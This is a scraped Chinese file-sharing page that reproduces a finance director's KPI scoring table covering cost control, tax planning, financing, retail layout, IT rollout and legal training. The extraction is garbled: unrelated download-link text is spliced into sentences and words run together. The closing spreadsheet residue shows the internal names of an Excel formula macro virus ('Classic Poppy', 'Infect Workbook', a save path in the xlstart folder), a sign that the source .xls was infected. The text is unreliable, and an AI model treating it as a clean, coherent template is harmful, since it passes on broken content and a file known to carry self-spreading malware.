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 财务工作绩效指标KPI考核表

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爱问共享资料财务工作绩效指标KPI考核表文档免费下载,数万用户每天上传大量最新资料,数量累计超一个亿 ,财务总监财务工作关键绩效指标KPI考核表姓名机构职位财务总监关键绩效指标KPI权重绩效标准描述提升效益推进精细化管理加强成本费用控制深入开展增收节支工作20优秀标准[95-100]⒈精细化管理工作取得突破性进展建立健全财务考核及监控指标体系能够反映并促进经营效益的提升⒉从财务角度出发制定重点成本控制实施方案力争使公司总费用下降2良好标准[80-95⒈精细化管理工作取得明显进展基本建立财务考核及监控指标体系基本能反映并促进经营效益的提升⒉加强成本费用控制使公司总费用下降195-2一般标准[60-80⒈精细化管理工作取得一定成绩初...

财务工作绩效指标KPI考核表

财务总监财务工作关键绩效指标KPI考核表姓名机构职位财务总监关键绩效指标KPI权重绩效标准描述提升效益推进精细化管理加强成本费用控制深入开展增收节支工作20优秀标准[95-100]⒈精细化管理工作取得突破性进展建立健全财务考核及监控指标体系能够反映并促进经营效益的提升⒉从财务角度出发制定重点成本控制实施 方案 气瓶 现场处置方案 .pdf气瓶 现场处置方案 .doc见习基地管理方案.doc关于群访事件的化解方案建筑工地扬尘治理专项方案下载 力争使公司总费用下降2良好标准[80-95⒈精细化管理工作取得明显进展基本建立财务考核及监控指标体系基本能反映并促进经营效益的提升⒉加强成本费用控制使公司总费用下降195-2一般标准[60-80⒈精细化管理工作取得一定成绩初步建立财务考核及监控指标体系反映经营状况⒉能够控制成本费用使公司总费用下降19-195不合格标准[0-60⒈精细化管理工作未取得成绩未建立健全财务考核及监控指标体系⒉未能严格控制成本费用公司总体费用未下降积极把握政府相关政策开拓税务资源完成年度制定纳税筹划方案加大节税增效专项工作力度协调配合税务检查避免出现重大涉税风险20优秀标准[95-100]⒈制定宝鸡商业2012年纳税筹划方案⒉取得我公司属于国家支持和鼓励的商业企业享受所得税15优惠税率的批复工作⒊积极配合税务检查从中不断发现涉税问题涉税风险并合理规避⒋积极协调税企资源关系稳固纳税资源建设保证年度内无重大涉税案件发生⒌强化与税务机关的沟通努力营造良好的税企关系连锁企业纳税户中有获得A级纳税信用等级或诚信纳税人称号纳税先进大户称号等荣誉良好标准[80-95⒈制定宝鸡商业2012年纳税筹划方案⒉取得我公司属于国家支持和鼓励的商业企业享受所得税15优惠税率的批复工作⒊配合税务检查不断发现涉税问题涉税风险并合理规避⒋积极协调税企资源关系稳固纳税资源建设一般标准[60-80⒈制定宝鸡商业2012年纳税筹划方案⒉未取得我公司属于国家支持和鼓励的商业企业享受所得税15优惠税率的批复工作⒊配合税务检查不断发现涉税问题涉税风险并合理规避⒋不积极协调税企资源关系未能稳固纳税资源建设不合格标准[0-60⒈制定宝鸡商业2012年纳税筹划方案并上报商业控股完成全年节税500万元以下⒉未取得我公司属于国家支持和鼓励的商业企业享受所得税15优惠税率的批复

财务工作绩效指标KPI考核表1

工作⒊配合税务检查不断发现涉税问题涉税风险但未解决涉税问题⒋不积极协调税企资源关系未能稳固纳税资源建设根据公司发展规划创新金融手段调整融资结构提高融资能力及资金收益水平力争完成集团下达的融资任务确保自身现金流平衡并为集团整体平衡做贡献20优秀标准[95-100]在保证去年授信额度的基础上积极与各大商业银行合作争取增加新的授信额度圆满完成今年的融资任务保障项目发展所需资金1基础平衡任务及刚性贡献任务完成100含以上2账户授权率达到99含以上3集团调度执行力度达到100良好标准[80-95在保证去年授信额度的基础上积极与各大商业银行合作争取增加新的授信额度完成下达的融资任务比例在80以上基本实现资金平衡1基础平衡任务及刚性贡献任务完成95含以上2账户授权率达到95含以上3集团调度执行力度达到95一般标准[60-80在保证去年授信额度的基础上积极与各大商业银行合作争取增加新的授信额度完成海航集团下达的融资任务比例在65以上在资金平衡方面存在较大缺口1基础平衡任务及刚性贡献任务完成90含以上2账户授权率达到90含以上㈢集团调度执行力度达到90不合格标准[0-60在保证去年授信额度的基础上积极与各大商业银行合作争取增加新的授信额度完成海航集团下达的融资任务比例在65以下不能实现公司资金平衡1基础平衡任务及刚性贡献任务完成90含以上2账户授权率达到90含以上3集团调度执行力度达到90积极调整超市业态战略及布局推广农超对接开展超市业态特色品牌营销活动15优秀标准[95-100]⒈调整超外布局扩大面积占比和租金标准实现超外增收目标⒉实现营销活动期间整体销售业绩增长20良好标准[80-95⒈调整超外布局扩大面积占比和租金标准基本实现超外增收目标⒉实现营销活动期间整体销售业绩增长15-20一般标准[60-80⒈未能调整超外布局未实现超外增收目标⒉实现营销活动期间整体销售业绩增长10-15不合格标准[0-60⒈未调整超外布局离实现超外增收目标距离较大⒉实现营销活动期间整体销售业绩增长10以下加快信息系统升级改造完成U51系统对接全面实现信息化功能实际上线运行15优秀标准[95-100]根据前期流程梳理要求推进流程标准化管理

财务工作绩效指标KPI考核表2

加快信息系统升级改造全面实现U51的系统对接及上线运行良好标准[80-95根据前期流程梳理要求推进流程标准化管理加快信息系统升级改造途中存在问题阻挠基本实现U51的的对接及上线运行一般标准[60-80根据前期流程梳理要求推进流程标准化管理信息系统升级改造出现困难实现各项目的80上线运行不合格标准[0-60根据前期流程梳理要求推进流程标准化管理信息系统升级改造困难较大各项目未能实现上线运行或升级加强合规体系建设提高 合同 劳动合同范本免费下载装修合同范本免费下载租赁合同免费下载房屋买卖合同下载劳务合同范本下载 管理水平及业务人员技能规避各类法律风险10优秀标准[95-100]组织合同管理及法律知识 培训 焊锡培训资料ppt免费下载焊接培训教程 ppt 下载特设培训下载班长管理培训下载培训时间表下载 提高业务人员的业务能力及法律知识水平杜绝法律风险及隐患良好标准[80-95组织合同管理及法律知识培训提高业务人员的业务能力及法律知识水平尽可能杜绝法律风险及隐患一般标准[60-80组织合同管理及法律知识培训业务人员的业务能力及法律知识水平提高不大尽最大能力杜绝法律风险及隐患不合格标准[0-60组织合同管理及法律知识培训业务人员的业务能力及法律知识水平无提高未能杜绝法律风险及隐患合计100注1关键绩效指标KPI不超过5项2绩效标准描述请尽量量化王红总kpi考核指标-2012改xlsNAMEBook1CProgramFilesMicrosoftOfficeOFFICE11xlstartBook1AutoandOnSheetStartsHere3NAMENAMENAMEClassicPoppybyVicodinESWithLordNatas0AnExcelFormulaMacroVirusXFClassicHydrocodoneAPAP10-650ForYourComputerNAMECTheNarkoticNetwork1998NAMENAMENAMESimplePayloadNAMENAMESetOurValuesandPathsNAMENAMEAddNewWorkbookInfectItSaveItAsBook1xlsNAMENAMENAMENAMENAME0InfectWorkbookNAMENAMENAMENAMENAMENAMENAMENAMENAMENAMENAME0NAMENAMENAME

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